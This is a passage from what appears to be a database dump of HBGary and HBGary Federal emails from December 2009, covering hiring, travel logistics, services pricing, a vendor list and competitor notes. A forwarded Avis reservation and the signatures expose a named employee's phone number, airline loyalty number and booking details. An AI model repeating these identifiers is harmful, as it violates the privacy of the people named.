Let\'s talk on Monday about where we are with\r\ncontracts.  BTW wrote:\r\n> Hey there,\r\n>\r\n> Do we have or do we need a good UI developer?  It\'s the guy I\r\n> mentioned to you that also does web information design and development.\r\n>\r\n> Aaron\r\n>\r\n>  From my iPhone\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',5597,'aaron_hbgary_com/5597.html'),(634,'2009-12-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999975.M904023P3547Q634.eml','\"Penny Leavy\" <penny@hbgary.com>','Re: UI and web developer','yep that makes sense.  I think Ted is getting rental car.  We are  \r\nstaying at the courtyard near the office.  I will share out a BD  \r\ndocument to you that is where Ted and I are capturing all of our  \r\ncontacts, leads, etc. and we can go over it on Monday/Tuesday.\r\n\r\nAaron\r\n\r\n\r\nOn Dec 12, 2009, at 3:29 PM, Penny Leavy wrote:\r\n\r\n> We just hired a UI developer Kam for HBGary.  We could use some part\r\n> time help and I know Greg prefers to have people working on theproduct\r\n> in Sacramento.  Let\'s talk on Monday about where we are with\r\n> contracts.  BTW the story with hotel and car?  Do you need to be picked up?\r\n>\r\n> On Sat, Dec 12, 2009 at 6:19 AM, Aaron Barr  wrote:\r\n>> Hey there,\r\n>>\r\n>> Do we have or do we need a good UI developer?  It\'s the guy I\r\n>> mentioned to you that also does web information design and  \r\n>> development.\r\n>>\r\n>> Aaron\r\n>>\r\n>>  From my iPhone\r\n>>\r\n>\r\n>\r\n>\r\n> -- \r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n\r\n',5116,'aaron_hbgary_com/5116.html'),(635,'2009-12-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999976.M249190P3547Q636.eml','\"Penny Leavy\" <penny@hbgary.com>','Re: UI and web developer','Also Ted and I were discussing that we need to talk to all the sales folks after coming up with a pricing plan.  Three options we came up with immediately.\r\nMaintenance on Product: similiar to Sun Support.\r\nBundle with Product. So $xxx comes with Xhrs of install, training, and analysis.\r\nT&M - level of analyst for $xxx for xx hrs.\r\n\r\nThoughts?  A topic for us to discuss when we are out.  So once we get this down, talk to all the sales folks about the offerings, capability of HBGary federal, etc.  And write those services into the website and literature.\r\n\r\nAaron\r\n\r\nOn Dec 12, 2009, at 3:36 PM, Penny Leavy wrote:\r\n\r\n> Cool.  W ewere going to fly down to San Jose but the commuter airlines\r\n> went out of business.  We\'ll have to drive, which means you need to\r\n> leave around 7 (in case of traffic) to get to San Jose It\'s 2.5 hours.\r\n> we had a couple of good meetings in boston.  Looks like we have to go\r\n> out again, so we\'ll try to hook up with Blackbird\r\n> \r\n> On Sat, Dec 12, 2009 at 12:35 PM, Aaron Barr  wrote:\r\n>> yep that makes sense.  I think Ted is getting rental car.  We are staying at\r\n>> the courtyard near the office.  I will share out a BD document to you that\r\n>> is where Ted and I are capturing all of our contacts, leads, etc. and we can\r\n>> go over it on Monday/Tuesday.\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On Dec 12, 2009, at 3:29 PM, Penny Leavy wrote:\r\n>> \r\n>>> We just hired a UI developer Kam for HBGary.  We could use some part\r\n>>> time help and I know Greg prefers to have people working on theproduct\r\n>>> in Sacramento.  Let\'s talk on Monday about where we are with\r\n>>> contracts.  BTW>> the story with hotel and car?  Do you need to be picked up?\r\n>>> \r\n>>> On Sat, Dec 12, 2009 at 6:19 AM, Aaron Barr  wrote:\r\n>>>> \r\n>>>> Hey there,\r\n>>>> \r\n>>>> Do we have or do we need a good UI developer?  It\'s the guy I\r\n>>>> mentioned to you that also does web information design and development.\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>>  From my iPhone\r\n>>>> \r\n>>> \r\n>>> \r\n>>> \r\n>>> --\r\n>>> Penny C. Leavy\r\n>>> HBGary, Inc.\r\n>> \r\n>> \r\n> \r\n> \r\n> \r\n> -- \r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13530,'aaron_hbgary_com/13530.html'),(636,'2009-12-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999976.M487329P3547Q637.eml','\"Steve Winterfeld\" <winterfeldsj@gmail.com>','A start','\r\n\r\n\r\nFortinet\r\nNetWitness\r\nNiksun\r\nCheckpoint\r\nCore Security Technologies\r\nRapid7\r\nVerdasys\r\nPrevx\r\nCyber-Ark\r\nImmunitySec\r\nIOactive\r\nSplunk\r\nTippingpoint\r\nMandiant\r\nTenablesecurity\r\nAgilex\r\n',685,'aaron_hbgary_com/685.html'),(637,'2009-12-12','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999976.M81840P3547Q635.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: UI and web developer','Cool.  W ewere going to fly down to San Jose but the commuter airlines\r\nwent out of business.  We\'ll have to drive, which means you need to\r\nleave around 7 (in case of traffic) to get to San Jose It\'s 2.5 hours.\r\n we had a couple of good meetings in boston.  Looks like we have to go\r\nout again, so we\'ll try to hook up with Blackbird\r\n\r\nOn Sat, Dec 12, 2009 at 12:35 PM, Aaron Barr  wrote:\r\n> yep that makes sense.  I think Ted is getting rental car.  We are staying at\r\n> the courtyard near the office.  I will share out a BD document to you that\r\n> is where Ted and I are capturing all of our contacts, leads, etc. and we can\r\n> go over it on Monday/Tuesday.\r\n>\r\n> Aaron\r\n>\r\n>\r\n> On Dec 12, 2009, at 3:29 PM, Penny Leavy wrote:\r\n>\r\n>> We just hired a UI developer Kam for HBGary.  We could use some part\r\n>> time help and I know Greg prefers to have people working on theproduct\r\n>> in Sacramento.  Let\'s talk on Monday about where we are with\r\n>> contracts.  BTW> the story with hotel and car?  Do you need to be picked up?\r\n>>\r\n>> On Sat, Dec 12, 2009 at 6:19 AM, Aaron Barr  wrote:\r\n>>>\r\n>>> Hey there,\r\n>>>\r\n>>> Do we have or do we need a good UI developer?  It\'s the guy I\r\n>>> mentioned to you that also does web information design and development.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>>  From my iPhone\r\n>>>\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Penny C. Leavy\r\n>> HBGary, Inc.\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',16490,'aaron_hbgary_com/16490.html'),(638,'2009-12-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999980.M394507P3547Q638.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Greetings and a tip on a new Cyber team in town','Begin forwarded message:From: Jackanthony78@aol.com\r\nTo: ted@hbgary.comSubject: Fwd: Greetings and a tip on a new Cyber team in town\r\nHow&#39;s this?____________________________________ From: Jackanthony78To: jwysocki@scitor.com\r\nSent: 12/12/2009 2:53:16  P.M. Mountain Standard TimeSubj: Greetings and a tip on a new Cyber team  in townJoe,Greetings.....2 months into USAFA gig, it&#39;s fun and cadets are pretty  \r\ncool....still!  Your classmate Gen Gould is going to have me speak to his  staff in January...on USAFA history, the real history!   An astro  geeks dream---talk history :-)  \r\nBack when I was a NG leader and system architect at NOPS, I had the  duo of Ted Vera and Aaron Barr helping me with the system architecture  development.  They were awesome high tech visionaries and blessed with  work ethic and \r\ncan-do.  They have a new endeavor underway in the cyber  arena....so I wanted to alert industry&#39;s visionaries---leaders like you of  this team and their niche.  They have proven skill, experience and  vision.\r\nTed Vera can be reached by email at _ted@hbgary.com_ (mailto:ted@hbgary.com) I was &quot;called up&quot; for consulting duty....carrying the Team Scitor  flag.  I \r\nam grateful to Dave Bradley for championing my skills and  experience in a time of immediate need for SMC eyes and ears in a situation,  truly honored!God bless, Merry Christmas and hi to Julie (See also newspaper article  \r\nattached, I was historical in Palmer Lake recently :-).  \r\n',4202,'aaron_hbgary_com/4202.html'),(639,'2009-12-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999980.M945230P3547Q639.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Avis Rent A Car:  Reservation Confirmation','Got us a car.Did you book a room yet? &nbsp;TedBegin forwarded message:From: Avis Rent A Car &lt;avisreservations@avis.com&gt;Date: December 12, 2009 5:12:27 PM MSTTo: TED@HBGARY.COMSubject: Avis Rent A Car:  Reservation ConfirmationThank you TED, for renting with us! Your car is reserved.Your Confirmation Number:&nbsp;47758024US6&nbsp;Base Rate:&nbsp;3 day(s)117.00 USDTaxes &amp; Surcharges:38.26 USD&nbsp;Surcharge26.10 USD&nbsp;&nbsp;$0.47 per day (Energy Recovery Fee)$2.23 per day (Vehicle License Fee)3.50% (Tourism Assessment Fee)11.11% (Concession Recovery Fee)&nbsp;Tax (8.750 %)12.16 USDMileage:Unlimited&nbsp;&nbsp;&nbsp;Approximate Total155.26&nbsp;USD &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Estimated Total155.26 USD &nbsp;&nbsp;&nbsp;Notes:Your rate was calculated based on the information provided. Some modifications may change this rate.where2 GPS Navigation is subject to taxes. These taxes are not reflected in the Estimated Total.&nbsp;YOUR TIME &amp; PLACE&nbsp;Notes:&nbsp;Modifying time or place will require reselection of car class and options.&nbsp;&nbsp;&nbsp;&nbsp;Pick-up InformationSunday, December 13, 2009 @ 01:30 PMSacramento Intl Airport, Sacramento, SMF6520 McNair Circle, Sacramento, SMF CA US(95837 ) &nbsp;(1) 916-922-5601&nbsp;Sun - Sat 5:30 AM - 12:30 AMReturn InformationWednesday, December 16, 2009 @ 01:30 PMSacramento Intl Airport, Sacramento, SMF&nbsp;6520 McNair Circle, Sacramento, SMF CA US(95837 ) &nbsp;(1) 916-922-5601&nbsp;Sun - Sat 5:30 AM - 12:30 AM&nbsp;&nbsp;RATE &amp; BENEFIT INFORMATION&nbsp;Notes:&nbsp;Modifying your rate will require reselection of car class &amp; options.&nbsp;&nbsp;&nbsp;&nbsp;AWD Number:N/ARate Code:IFCoupon Number:N/A&nbsp;&nbsp;YOUR CAR&nbsp;Notes:&nbsp;Modifying Car &amp; Rate will require reselection of options.&nbsp;&nbsp;&nbsp;&nbsp;Group E - Chevrolet Impala or similar&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;5&nbsp;&nbsp;2&nbsp;&nbsp;2&nbsp;&nbsp;18/29&nbsp;&nbsp;4 DoorAM/FM RadioAir ConditioningCruise ControlAutomatic&nbsp;&nbsp;YOUR OPTIONS&nbsp;&nbsp;Rental Options:NoneProtections - Coverages:Loss Damage Waiver (LDW)DeclinedPersonal Accident Insurance (PAI)DeclinedPersonal Effect Protection (PEP)DeclinedAdditional Liability Insurance (ALI)Declined&nbsp;&nbsp;YOUR INFORMATION&nbsp;&nbsp;Name:TED VERAEmail Address:TED@HBGARY.COMPhone:7192378623Miles / Points:United Mileage Plus #03116129450Flight Information:UNITED AIRLINES –Flight#: 0103&nbsp;&nbsp;Reservation Terms &amp; Conditions:Credit Card Policies&nbsp;Debit Card Policies&nbsp;Additional Fees&nbsp;Age Requirements&nbsp;DMV Checks&nbsp;Estimated Totals&nbsp;Rental Options&nbsp;Credit Card PoliciesAvis accepts most major credit cards as credit identification at the time of rental.Accepted credit card list: Avis Charge Card, American Express, AT&amp;T Capital, Diner\'s Club, Diner\'s Club Int\'l, Discover, GE Capital, JCB, MasterCard, Peterson, Howell and Heather (PHH), Sears and Visa.Some locations may not accept each of the referenced cards.TopDebit Card PoliciesThis location does accept bank debit cards with the MasterCard or Visa logo at the time of rental if you are at least 25 years of age. You will be subject to a credit check to determine creditworthiness.Avis reserves the right, in its sole discretion, to seek a Debit Card authorization hold in excess of the estimated rental charges. When using a debit card at Avis there may be a minimum hold of $500 and a maximum hold of the estimated rental charges will be placed on your account.Upon returning the vehicle, Avis will process a release of the unused portion of the hold subject to your Bank\'s procedures. The hold may take up to 2 weeks to be released by your bank.If you fail to return the vehicle as agreed, Avis will obtain additional authorizations from your account to cover the rental charges.Avis is not responsible for any returned checks or over-drafts based on this policy.Positive identification in addition to your driver\'s license may be required.In the United States, Debit, Cash or Check cards can be used at the end for payment of rental charges. For acceptable credit identification and payment methods in countries outside of the United States, please consult the Renter\'s Guide and search for the specific location.Note:&nbsp;Prepaid Debit/Gift cards are not acceptable methods of credit identification to pick up a car at any location. One of the above mentioned cards must be presented. Prepaid Debit/Gift cards are accepted at time of return only.TopAdditional FeesExtensions or late returns result in additional charges.TopAge RequirementsRather than requiring customers to be 25 to rent, Avis at this location now rents to customers between the ages of 21-24 with a valid credit card and driver\'s license. At time of rental, we will automatically apply an additional $27-per-day underage surcharge for these drivers.Additionally, the following restrictions also will apply for renters between the ages of 21-24: Renters of luxury cars, mini-vans, 12-passenger vans, specialty cars, full-size SUVs and premium SUVs will not be permitted.Government Minimum Age Policy - Military (FEMA, US Postal Dept., Navy and Army) and Civilian PersonnelMinimum age - 18 years (no underage surcharge will apply) with government travel or purchase orderMinimum age - 21 years (no underage surcharge will apply) with no government travel or purchase orderTopDMV ChecksAt the time of rental, the renter or authorized driver may be subject to an electronic DMV check from the issuing state of the driver\'s license, or may be asked to sign a declaration attesting to specific criteria:The renter/authorized driver has a valid license that is not currently suspended, expired, revoked, canceled or surrendered.The renter/authorized driver has not, within the last 36 months had 1 or more convictions for reckless driving.The renter/authorized driver has not, within the last 36 months had 1 or more convictions for driving under the influence (DUI), driving while intoxicated (DWI), or driving while alcohol impaired (DWAI).The renter/authorized driver has not, within the last 36 months failed to report or leave the scene of an accident.The renter/authorized driver has never been in possession of a stolen vehicle or used a vehicle in a crime.The renter/authorized driver has not, within the last 24 months had 3 or more convictions for moving violations (including seat belt violations).The renter/authorized driver has not, within the last 36 months had 3 or more accidentsTopEstimated TotalsApproximate total includes base rate, taxes, and surcharges. Items such as coupon discounts, child safety seats and gas are NOT included in the estimated total. Optional coverages and one-way fees are subject to tax in certain locations. This tax is not reflected in the Estimated Total.Estimated total is subject to change based upon exchange rates at the time of rental.TopRental OptionsIf you have added any of the following rental options to your reservation, terms and conditions may apply.Where2 GPS Navigation:Taxes not included.Available at participating locations.Minimum age is 25 but may vary by location, underage surcharges may apply at certain locations.Reliability of directions subject to timing of software implementation as well as that of which has been provided by the maker of the installed maps.I (renter) acknowledge that the rental vehicle may be equipped with Where2 which utilizes global positioning satellites. I acknowledge that Where2 may be limited by atmospheric or topographical conditions. I further acknowledge that Where2 may be rendered inoperative if Where2 is tampered with or destroyed and or damaged in an accident or if the satellite systems are obstructed and inoperative.Customer is responsible for all costs in the event of lost, stolen or damaged Where2 Unit and all of its components.Renter agrees to release and hold Avis harmless for any Where2 failures.Gas Service Option:Fees for the Gas Service Option are not included in the Estimated Total.Fees are assessed and applied at the time of rental.Fees vary by location and are determined by current market value of gasoline in surrounding area of rental location and the fuel tank size of rental vehicle.Customer will receive no credit or refund for unused fuel left in tank at time of return.Top&nbsp;Contact Us&nbsp;&nbsp;Reservations &amp; Avis.com Assistance&nbsp;1-800-230-4898&nbsp;&nbsp;&nbsp;Wizard Number / Preferred Profile Updates&nbsp;1-866-842-5552&nbsp;Monday - Friday 8am-5pm EST&nbsp;&nbsp;&nbsp;Worldwide Telephone Numbers -&nbsp;click here&nbsp;Things to Do&nbsp;&nbsp;&nbsp;Where to Eat, Shop &amp; StayLook no further - our travel experts have already done the legwork for you.&nbsp;Click Here!&nbsp;&nbsp;Corporate Awards&nbsp;&nbsp;Do you work for or own a small business?Get special rates, members-only deals &amp; earn rental rewards.Enroll for FREE!&nbsp;&nbsp;- --\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n',14394,'aaron_hbgary_com/14394.html'),(640,'2009-12-13','\"steve winterfeld\" <winterfeldsj@gmail.com>','/aaron@hbgary.com/new/1296999981.M161246P3547Q640.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: A start','Thanks\r\n\r\nAny idea who I can ask for a eval format or process?\r\n\r\n\r\nOn 12/12/09, Aaron Barr  wrote:\r\n>\r\n>\r\n>\r\n> Fortinet\r\n> NetWitness\r\n> Niksun\r\n> Checkpoint\r\n> Core Security Technologies\r\n> Rapid7\r\n> Verdasys\r\n> Prevx\r\n> Cyber-Ark\r\n> ImmunitySec\r\n> IOactive\r\n> Splunk\r\n> Tippingpoint\r\n> Mandiant\r\n> Tenablesecurity\r\n> Agilex\r\n>\r\n\r\n-- \r\nSent from my mobile device\r\n',10045,'aaron_hbgary_com/10045.html'),(641,'2009-12-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999981.M338375P3547Q641.eml','\"steve winterfeld\" <winterfeldsj@gmail.com>','Re: A start','Carolyn Keirwaga (can\'t remember how to spell her last name without address book).\r\n\r\nShe handled a lot of this for ISD.\r\n\r\nAaron\r\n\r\n\r\nOn Dec 12, 2009, at 8:30 PM, steve winterfeld wrote:\r\n\r\n> Thanks\r\n> \r\n> Any idea who I can ask for a eval format or process?\r\n> \r\n> \r\n> On 12/12/09, Aaron Barr  wrote:\r\n>> \r\n>> \r\n>> \r\n>> Fortinet\r\n>> NetWitness\r\n>> Niksun\r\n>> Checkpoint\r\n>> Core Security Technologies\r\n>> Rapid7\r\n>> Verdasys\r\n>> Prevx\r\n>> Cyber-Ark\r\n>> ImmunitySec\r\n>> IOactive\r\n>> Splunk\r\n>> Tippingpoint\r\n>> Mandiant\r\n>> Tenablesecurity\r\n>> Agilex\r\n>> \r\n> \r\n> -- \r\n> Sent from my mobile device\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11943,'aaron_hbgary_com/11943.html'),(642,'2009-12-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999981.M527888P3547Q642.eml','\"steve winterfeld\" <winterfeldsj@gmail.com>','Re: A start','Do u know most of these?  A few are kinda wildcards and some doore\r\nproduct than services.\r\n\r\n\r\n\r\n From my iPhone\r\n\r\nOn Dec 12, 2009, at 8:30 PM, steve winterfeld \r\nwrote:\r\n\r\n> Thanks\r\n>\r\n> Any idea who I can ask for a eval format or process?\r\n>\r\n>\r\n> On 12/12/09, Aaron Barr  wrote:\r\n>>\r\n>>\r\n>>\r\n>> Fortinet\r\n>> NetWitness\r\n>> Niksun\r\n>> Checkpoint\r\n>> Core Security Technologies\r\n>> Rapid7\r\n>> Verdasys\r\n>> Prevx\r\n>> Cyber-Ark\r\n>> ImmunitySec\r\n>> IOactive\r\n>> Splunk\r\n>> Tippingpoint\r\n>> Mandiant\r\n>> Tenablesecurity\r\n>> Agilex\r\n>>\r\n>\r\n> --\r\n> Sent from my mobile device\r\n',8448,'aaron_hbgary_com/8448.html'),(643,'2009-12-13','\"steve winterfeld\" <winterfeldsj@gmail.com>','/aaron@hbgary.com/new/1296999981.M723349P3547Q643.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: A start','Most but not all - was going to research them this week\r\n\r\nOn 12/13/09, Aaron Barr  wrote:\r\n> Do u know most of these?  A few are kinda wildcards and some doore\r\n> product than services.\r\n>\r\n>\r\n>\r\n>  From my iPhone\r\n>\r\n> On Dec 12, 2009, at 8:30 PM, steve winterfeld \r\n> wrote:\r\n>\r\n>> Thanks\r\n>>\r\n>> Any idea who I can ask for a eval format or process?\r\n>>\r\n>>\r\n>> On 12/12/09, Aaron Barr  wrote:\r\n>>>\r\n>>>\r\n>>>\r\n>>> Fortinet\r\n>>> NetWitness\r\n>>> Niksun\r\n>>> Checkpoint\r\n>>> Core Security Technologies\r\n>>> Rapid7\r\n>>> Verdasys\r\n>>> Prevx\r\n>>> Cyber-Ark\r\n>>> ImmunitySec\r\n>>> IOactive\r\n>>> Splunk\r\n>>> Tippingpoint\r\n>>> Mandiant\r\n>>> Tenablesecurity\r\n>>> Agilex\r\n>>>\r\n>>\r\n>> --\r\n>> Sent from my mobile device\r\n>\r\n\r\n-- \r\nSent from my mobile device\r\n',3,'aaron_hbgary_com/3.html'),(644,'2009-12-13','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999981.M942774P3547Q644.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: UI and web developer','OK, not really clear.  Support and Maintenance is done through HBGary\r\nand it\'s 20% right now although I\'m looking at marking it up to 25%.\r\nI thought you guys didn\'t want to do consulting on non classified\r\nprojects.  Given we don\'t have sales people with clearances we won\'t\r\nbe discussing anything along those lines and directly pass the lead to\r\nyou guys.\r\n\r\nOn Sat, Dec 12, 2009 at 12:50 PM, Aaron Barr  wrote:\r\n> Also Ted and I were discussing that we need to talk to all the sales folks after coming up with a pricing plan.  Three options we came up with immediately.\r\n> Maintenance on Product: similiar to Sun Support.\r\n> Bundle with Product. So $xxx comes with Xhrs of install, training, and analysis.\r\n> T&M - level of analyst for $xxx for xx hrs.\r\n>\r\n> Thoughts?  A topic for us to discuss when we are out.  So once we get this down, talk to all the sales folks about the offerings, capability of HBGary federal, etc.  And write those services into the website and literature.\r\n>\r\n> Aaron\r\n>\r\n> On Dec 12, 2009, at 3:36 PM, Penny Leavy wrote:\r\n>\r\n>> Cool.  W ewere going to fly down to San Jose but the commuter airlines\r\n>> went out of business.  We\'ll have to drive, which means you need to\r\n>> leave around 7 (in case of traffic) to get to San Jose It\'s 2.5 hours.\r\n>> we had a couple of good meetings in boston.  Looks like we have to go\r\n>> out again, so we\'ll try to hook up with Blackbird\r\n>>\r\n>> On Sat, Dec 12, 2009 at 12:35 PM, Aaron Barr  wrote:\r\n>>> yep that makes sense.  I think Ted is getting rental car.  We are staying at\r\n>>> the courtyard near the office.  I will share out a BD document to you that\r\n>>> is where Ted and I are capturing all of our contacts, leads, etc. and we can\r\n>>> go over it on Monday/Tuesday.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>>\r\n>>> On Dec 12, 2009, at 3:29 PM, Penny Leavy wrote:\r\n>>>\r\n>>>> We just hired a UI developer Kam for HBGary.  We could use some part\r\n>>>> time help and I know Greg prefers to have people working on theproduct\r\n>>>> in Sacramento.  Let\'s talk on Monday about where we are with\r\n>>>> contracts.  BTW>>> the story with hotel and car?  Do you need to be picked up?\r\n>>>>\r\n>>>> On Sat, Dec 12, 2009 at 6:19 AM, Aaron Barr  wrote:\r\n>>>>>\r\n>>>>> Hey there,\r\n>>>>>\r\n>>>>> Do we have or do we need a good UI developer?  It\'s the guy I\r\n>>>>> mentioned to you that also does web information design and development.\r\n>>>>>\r\n>>>>> Aaron\r\n>>>>>\r\n>>>>>  From my iPhone\r\n>>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> --\r\n>>>> Penny C. Leavy\r\n>>>> HBGary, Inc.\r\n>>>\r\n>>>\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Penny C. Leavy\r\n>> HBGary, Inc.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',3040,'aaron_hbgary_com/3040.html'),(645,'2009-12-13','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999982.M161684P3547Q645.eml','all@hbgary.com','WildList for malware detection benchmark testing','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nAt a recent meeting we were told about WildList - http://www.wildlist.org/\r\n\r\nWe could do testing of DDNA against the WildList to as a\r\nbenchmark to measure our detection effectiveness.\r\n\r\n&nbsp;\r\n\r\nBeing able to reference stuff like this could be a selling\r\ntool for certain types of prospects.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13062,'aaron_hbgary_com/13062.html'),(646,'2009-12-13','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999982.M434525P3547Q646.eml','all@hbgary.com','FireEye for malware detection and analysis','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nFireEye is in our space.&nbsp; Looks like it is an inline\r\ndevice that uses virtual machines to detect and analyze malware\r\n\r\nhttp://www.fireeye.com/technology/index.html\r\n\r\n&nbsp;\r\n\r\nThey claim the ability to detect hidden and polymorphic\r\nmalware. Somebody said they have malware tracing too.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12414,'aaron_hbgary_com/12414.html'),(647,'2009-12-14','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1296999987.M114598P3547Q647.eml','\"Barr Aaron\" <aaron@hbgary.com>','doc0011','Sent with DocScanner\r\n\r\n\r\n',12844,'aaron_hbgary_com/12844.html'),(648,'2009-12-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999988.M149254P3547Q648.eml','\"Penny Leavy\" <penny@hbgary.com>','Re: UI and web developer','I think we wanted to do non classified work, but stay in the federal space.  Sounds like something to add to our discussion.\r\n\r\nI started to think about this a little more after talking with Rich and Bob, not anything in particular, but I started to think it would be helpful, whichever way it works, to have a pool of services folks to do on site work, I wasn\'t sure if you already had a model for that.  We couldn\'t even think about doing short-term product sales services work until we had a measurable enough staff to pull from so if we were to support other government services work.\r\n\r\nOff to pick up Greg.\r\n\r\nAaron\r\n\r\n\r\nOn Dec 13, 2009, at 2:42 PM, Penny Leavy wrote:\r\n\r\n> OK, not really clear.  Support and Maintenance is done through HBGary\r\n> and it\'s 20% right now although I\'m looking at marking it up to 25%.\r\n> I thought you guys didn\'t want to do consulting on non classified\r\n> projects.  Given we don\'t have sales people with clearances we won\'t\r\n> be discussing anything along those lines and directly pass the lead to\r\n> you guys.\r\n> \r\n> On Sat, Dec 12, 2009 at 12:50 PM, Aaron Barr  wrote:\r\n>> Also Ted and I were discussing that we need to talk to all the sales folks after coming up with a pricing plan.  Three options we came up with immediately.\r\n>> Maintenance on Product: similiar to Sun Support.\r\n>> Bundle with Product. So $xxx comes with Xhrs of install, training, and analysis.\r\n>> T&M - level of analyst for $xxx for xx hrs.\r\n>> \r\n>> Thoughts?  A topic for us to discuss when we are out.  So once we get this down, talk to all the sales folks about the offerings, capability of HBGary federal, etc.  And write those services into the website and literature.\r\n>> \r\n>> Aaron\r\n>> \r\n>> On Dec 12, 2009, at 3:36 PM, Penny Leavy wrote:\r\n>> \r\n>>> Cool.  W ewere going to fly down to San Jose but the commuter airlines\r\n>>> went out of business.  We\'ll have to drive, which means you need to\r\n>>> leave around 7 (in case of traffic) to get to San Jose It\'s 2.5 hours.\r\n>>> we had a couple of good meetings in boston.  Looks like we have to go\r\n>>> out again, so we\'ll try to hook up with Blackbird\r\n>>> \r\n>>> On Sat, Dec 12, 2009 at 12:35 PM, Aaron Barr  wrote:\r\n>>>> yep that makes sense.  I think Ted is getting rental car.  We are staying at\r\n>>>> the courtyard near the office.  I will share out a BD document to you that\r\n>>>> is where Ted and I are capturing all of our contacts, leads, etc. and we can\r\n>>>> go over it on Monday/Tuesday.\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> \r\n>>>> On Dec 12, 2009, at 3:29 PM, Penny Leavy wrote:\r\n>>>> \r\n>>>>> We just hired a UI developer Kam for HBGary.  We could use some part\r\n>>>>> time help and I know Greg prefers to have people working on theproduct\r\n>>>>> in Sacramento.  Let\'s talk on Monday about where we are with\r\n>>>>> contracts.  BTW>>>> the story with hotel and car?  Do you need to be picked up?\r\n>>>>> \r\n>>>>> On Sat, Dec 12, 2009 at 6:19 AM, Aaron Barr  wrote:\r\n>>>>>> \r\n>>>>>> Hey there,\r\n>>>>>> \r\n>>>>>> Do we have or do we need a good UI developer?  It\'s the guy I\r\n>>>>>> mentioned to you that also does web information design and development.\r\n>>>>>> \r\n>>>>>> Aaron\r\n>>>>>> \r\n>>>>>>  From my iPhone\r\n>>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> --\r\n>>>>> Penny C. Leavy\r\n>>>>> HBGary, Inc.\r\n>>>> \r\n>>>> \r\n>>> \r\n>>> \r\n>>> \r\n>>> --\r\n>>> Penny C. Leavy\r\n>>> HBGary, Inc.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n>> \r\n> \r\n> \r\n> \r\n> -- \r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16809,'aaron_hbgary_com/16809.html'),(649,'2009-12-14','\"Sipes, Victoria\" <vsipes@harris.com>','/aaron@hbgary.com/new/1296999988.M480354P3547Q649.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','FW: New Opportunities','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nCould you please send me directions to your location for the\r\nmeeting on Thursday at 1pm.\r\n\r\n&nbsp;\r\n\r\nI will add in the calendar event I sent out last week.\r\n\r\n&nbsp;\r\n\r\nMike is looking forward to meeting you all.\r\n\r\n\r\nThanks\r\n\r\nVickie\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: 